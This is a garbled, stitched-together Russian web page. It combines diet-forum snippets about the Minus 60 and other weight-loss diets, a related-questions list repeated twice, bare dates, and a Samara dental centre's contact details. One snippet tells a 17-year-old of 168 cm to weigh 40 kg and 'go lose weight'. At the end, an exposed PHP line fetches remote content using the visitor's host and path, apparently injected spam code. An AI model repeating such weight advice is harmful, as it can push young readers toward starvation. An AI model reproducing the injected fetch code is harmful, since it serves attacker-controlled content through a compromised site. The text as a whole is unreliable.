3.употребляйте больше мяса-наш организм ищет самые простые пути к насыщению-что легче переварить и получить энергию (углеводы) .
И! кушайте на здоровье!

Где ты взяла бред, что жвачка помогает не жрать? НАОБОРОТ!!!

1. Диета Минус 60 основные правила 2. Продукты для диеты Минус 60 3. Меню на каждый день по системе диеты Минус 60 4. РецептыАвтор диеты Екатерина Мириманова рекомендует размеры фруктовых порций ограничивать. Воды рекомендуется пить столько, сколько хочется.

Девочки подскажите диету которая реально помогает.

Если есть сила воли, то на любой диете протянешь

Автор диеты минус 60 Екатерина Мириманова, сама относилась к категории женщин, которые не могут отказаться от любимых продуктов питания.

Я сейчас на гречневой. Никаких затрат, нет чувства голода. Уже 4 дня. Поищи в инете, про нее многоинформации

Восточная диета на сайте 7гу. ру

Купить ложку с дырками.

  • Почему мед способствует похудению - А Мед перед сном помогает похудеть ? ММм мёд это чистые углеводы) ) так что перед сном наврядли он поможет похудеть))) М
  • Белковая диета при гепатозе - Как лечить печень и избавить от жира? Печень - не пить от жира - не есть Диета при гепатозе печени. Залогом вашего здоро
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
  • Малахов-Водная диета - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Малахов разработа
  • Похудение с помощью пищевой плёнки отзывы - Похудение с помощью пищевой пленки Что за бред про сердце? Ничего не влияет! Могу даже поделиться упражнением для ленивы
  • Как похудеть при медленном метаболизме - Подскажите пожалуйста почему я не худею? Возможно медленный обмен веществ. Чаще стимулировать тем выше скорость метаболи
  • Как похудеть на кг, 7 - Как похудеть на 7 кг , если я не могу сидеть на диете , похудеть очень нужно, а сил заниматься спортом нет? Тогда никак.
  • Препарат стана для похудения - Какими препаратами или таблетками для похудения вы пользовались и эффект был на 100%? Таких препаратов не существует.. .
  • Похудеть быстро поможет - Что реально помогает похудеть? Я обчно скидываю вес и поддерживаю его только методом исключение сладкого, мучного, жирно
  • Диета для больного щенка - Как уговорить родителей...? Собака-не игрушка, если можешь перебиться, перебейся! Тебе это не нужно! Это не прихоть! Род
  • Почему мед способствует похудению - А Мед перед сном помогает похудеть ? ММм мёд это чистые углеводы) ) так что перед сном наврядли он поможет похудеть))) М
  • Белковая диета при гепатозе - Как лечить печень и избавить от жира? Печень - не пить от жира - не есть Диета при гепатозе печени. Залогом вашего здоро
  • Калькуляторы для похудения - Какой должен быть вес если рост 168, 17 лет? Кому должен? что за чушь спрашивают эти малолетки? * 40 кг. иди худей Для н
  • Малахов-Водная диета - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Малахов разработа
  • Похудение с помощью пищевой плёнки отзывы - Похудение с помощью пищевой пленки Что за бред про сердце? Ничего не влияет! Могу даже поделиться упражнением для ленивы
  • Как похудеть при медленном метаболизме - Подскажите пожалуйста почему я не худею? Возможно медленный обмен веществ. Чаще стимулировать тем выше скорость метаболи
  • Как похудеть на кг, 7 - Как похудеть на 7 кг , если я не могу сидеть на диете , похудеть очень нужно, а сил заниматься спортом нет? Тогда никак.
  • Препарат стана для похудения - Какими препаратами или таблетками для похудения вы пользовались и эффект был на 100%? Таких препаратов не существует.. .
  • Похудеть быстро поможет - Что реально помогает похудеть? Я обчно скидываю вес и поддерживаю его только методом исключение сладкого, мучного, жирно
  • Диета для больного щенка - Как уговорить родителей...? Собака-не игрушка, если можешь перебиться, перебейся! Тебе это не нужно! Это не прихоть! Род
Автор диеты минус 60
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта